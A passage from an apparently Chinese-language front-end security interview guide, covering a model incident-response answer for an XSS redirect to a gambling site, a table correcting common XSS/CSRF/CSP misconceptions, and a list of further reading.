加分:指出第三方脚本是性能与安全的最大不确定性,应设总体积与主线程时间预算;指出 document.write 类脚本必须禁止。

减分:全部同步引入;只做体积审查不做行为隔离;没有下线与回滚机制。

题 2 · 凌晨收到告警:有用户反馈「打开评论区就跳到博彩网站」,你如何处置?

评估点:止血优先级、影响面判断、根因与加固。

参考方案:

  1. 止血:立即下线评论展示(开关)或加 WAF 规则;如果怀疑 Cookie 被窃,吊销会话并强制重新登录。
  2. 判断影响面:从日志与 CSP 报告确认注入内容、出现时间、受影响页面与用户量;判断是存储型还是 DOM 型。
  3. 清理数据:定位并清洗库中恶意内容,避免重新上线后再次触发。
  4. 定位根因:检查最近的渲染改动、富文本过滤、第三方组件;复现 payload。
  5. 修复与验证:补消毒/编码,加安全用例;CSP 收紧;灰度验证。
  6. 复盘:为何没被拦住(缺门禁/缺测试/评审遗漏),补 lint、测试与上线检查。

加分:先止血再定位;同时处理「已入库的脏数据」;指出要评估是否需要通知用户与合规。

减分:先改代码再下线;只修前端不清理数据;不做影响面评估。

8.5 最容易答错的点

常见说法纠正
「转义了 <script> 就安全」事件属性、javascript:、SVG、CSS 上下文都能绕过
「CSP 能完全防住 XSS」配置不当可被 JSONP、CDN、内联脚本绕过
「CSRF 需要读到响应才有危害」攻击只需请求发生,不需要读响应
「SameSite=Lax 就够防 CSRF」顶层 GET 导航仍带 Cookie,同站子域也不受限
「JWT 放在前端更安全」存储位置决定攻击面,XSS 可读取 localStorage
「HTTPS 能防 XSS」它只保证传输加密,不校验内容
「前端加密密码就安全了」密钥在前端可见,真正的防线是 HTTPS + 服务端哈希
「锁版本就不会被投毒」首次安装、维护者发版、CDN 篡改都不受 lockfile 保护
「隐藏按钮就是权限控制」接口可被直接调用,必须服务端鉴权
「X-XSS-Protection 能防 XSS」已被移除或默认关闭,不应依赖
「sandbox 加了就隔离了」同时给 allow-scripts 与 allow-same-origin 等于失效
「安全是一次性项目」没有门禁与回归用例,同类问题会反复出现

9. 延伸资源

  • OWASP Top 10 与 OWASP Cheat Sheet Series(XSS/CSRF/CSP/文件上传的权威清单)
  • OWASP ASVS(应用安全验证标准,可用于验收)
  • MDN:Content Security Policy、Set-Cookie、Trusted Types、sandbox
  • web.dev:Security headers、Trusted Types、CSP 实战
  • Google CSP Evaluator(检查策略强度与已知绕过)
  • DOMPurify 文档与配置项;Sanitizer API 草案
  • SLSA / Sigstore / CycloneDX / SPDX(供应链与 SBOM)
  • OAuth 2.0 Security Best Current Practice、OIDC 规范
  • 《Web Application Security》(O'Reilly)
  • 各浏览器安全团队博客:CSP 绕过与缓解演进